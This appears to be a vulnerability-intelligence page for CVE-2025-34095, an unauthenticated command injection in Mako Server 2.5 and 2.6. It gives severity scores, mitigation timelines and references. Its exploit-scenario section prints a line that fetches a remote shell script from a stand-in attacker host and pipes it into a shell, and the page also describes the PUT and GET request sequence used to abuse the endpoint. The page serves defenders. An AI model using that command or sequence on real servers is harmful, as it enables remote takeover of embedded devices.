What is the CVSS score of CVE-2025-34095?

CVE-2025-34095 has a CVSS 4.0 base score of 9.3 (Critical). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. EPSS exploitation probability: 45.4%.

Is there a public PoC exploit available for CVE-2025-34095?

Yes, a public proof-of-concept exploit is available for CVE-2025-34095. Prioritise patching immediately. EPSS: 45.4%.

How to fix or mitigate CVE-2025-34095?

Within 24 hours: Identify all Mako Server instances running versions 2.5 or 2.6 across your infrastructure and isolate them from external network access immediately; disable or restrict access to the examples/save.lsp and examples/manage.lsp endpoints via firewall or WAF rules. Within 7 days: Conduct forensic analysis of affected systems for signs of compromise (check logs, file integrity, and process execution history); begin migration planning to patched versions or alternative solutions once patches are released by the vendor. Within 30 days: Complete deployment of patched versions or decommission affected Mako Server instances; validate remediation and restore normal network access only after confirming patched versions are in place.

Windows CVE-2025-34095

EUVD-2025-21031 CRITICAL

OS Command Injection (CWE-78)

2025-07-10 disclosure@vulncheck.com

Windows Command Injection Microsoft

9.3

CVSS 4.0 · NVD

View

Vulnerability Assessment

Weakness	CWE CWE-78 OWASP Top 10:2025 A05:2025 - Injection ASVS 5.0 V1 - Encoding and Sanitization OS command sanitization, avoid shell exec MITRE ATT&CK 2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Impact	CVSS 9.3, EPSS 45.4%, PoC available. Mako Server is an embedded HTTP/WebSocket server used in IoT and industrial applications. The tutorial interface should be removed in production but often isn't. Persistent code injection provides durable access.
Exploit ScenarioDerived	An attacker sends a PUT request to save.lsp with Lua code containing os.execute('curl attacker.com/shell\|sh'). The code is saved to disk and executed. The attacker has persistent access that survives reboots, and controls the embedded device.

Emergency Immediate action required. Why: CRITICAL + EPSS > 30%, no patch available.

No patch listed yet 45.4% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 16, 2026

Mako Server versions 2.5 and 2.6 contain an unauthenticated OS command injection via the tutorial interface at examples/save.lsp. Attackers can send crafted PUT requests with arbitrary Lua os.execute() code that is persisted on disk and executed, achieving remote code execution on the embedded web server.

Earlier versions of this analysis (1)

v1 Mar 16, 2026 - 06:52 CVSS 9.3

Unauthenticated command injection in Mako Server via tutorial save endpoint enables persistent RCE through Lua code injection.

RemediationAI

Remove the examples/ directory from production Mako deployments. Disable the save.lsp endpoint. Restrict Mako Server access to trusted networks. Audit saved Lua files for injected code.

Affected VersionsENISA

Mako Server 2.5 ≤2.6

Affected Packages

euvd mako_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The examples/save.lsp endpoint accepts PUT requests that write Lua code to disk. The endpoint is unauthenticated and does not validate the content. An attacker can inject Lua code containing os.execute() calls that execute system commands. Because the code is persisted, the backdoor survives server restarts.

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Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

NVD PRIMARY 9.3 CRITICAL

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector

Network

Attack Complexity

Low

Attack Requirements

None

Privileges Required

None

User Interaction

None

Vulnerable system: Confidentiality

High

Vulnerable system: Integrity

High

Vulnerable system: Availability

High

Subsequent system: Confidentiality

None

Subsequent system: Integrity

None

Subsequent system: Availability

None

Lifecycle Timeline

PoC Detected

Jul 15, 2025 - 13:14 vuln.today

Public exploit code

CVE Published

Jul 10, 2025 - 20:15 nvd

CRITICAL 9.3

DescriptionCVE.org

An OS command injection vulnerability exists in Mako Server versions 2.5 and 2.6, specifically within the tutorial interface provided by the examples/save.lsp endpoint. An unauthenticated attacker can send a crafted PUT request containing arbitrary Lua os.execute() code, which is then persisted on disk and triggered via a subsequent GET request to examples/manage.lsp. This allows remote command execution on the underlying operating system, impacting both Windows and Unix-based deployments.

Executive ViewAI

Why It Matters

A critical remote code execution vulnerability in Mako Server versions 2.5 and 2.6 allows unauthenticated attackers to execute arbitrary commands on affected systems without requiring valid credentials. Any organization running these versions is immediately exposed to complete system compromise, data theft, and operational disruption, with active exploits already circulating in the wild.

Business Impact: Severe

Compensating Controls

Implement immediate network segmentation to restrict external access to Mako Server instances; deploy WAF rules to block PUT requests to examples/save.lsp and GET requests to examples/manage.lsp endpoints; disable the tutorial/examples functionality entirely if not required for operations; implement authentication controls at the reverse proxy or API gateway layer; enable comprehensive logging and real-time alerting on these specific endpoints; consider blocking outbound connections from Mako Server processes to prevent command execution callbacks. Monitor vendor advisories for patch availability and test in non-production environment immediately upon release.

Threat Intelligence Overview

Threat Score

4.7/10

Composite threat intelligence

EPSS Score

45.4%

Top 2% exploitable

Exploit

POC

Public exploit code exists

Data Quality

6 sources

Confidence: High

EUVD

NVD

CVE.org

EPSS POC (1)

Exploit-DB Metasploit

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity CRITICAL

CISA KEV No

Public POC Yes

EPSS 45.4%

Patch available No

Active threat Yes

Deciding rule

CRITICAL + EPSS > 30%, no patch available

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived

Immediate

Exploitation· derived

Active

System Exposure· derived

Open

Automatable· derived

Yes

Human Impact

Very High

Priority Score

126

Low Medium High Critical

KEV: 0

EPSS: +45

CVSS: +46

PoC: +20

Weaponized: +15

Threat intel: 0

Gov advisory: 0

Attack Technique

OS Command Injection CRITICAL

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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References

Advisories & patches

ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2025-34095 REF https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/makoserver_cmd_exec.rb REF https://vulncheck/advisories/mako-server-rce

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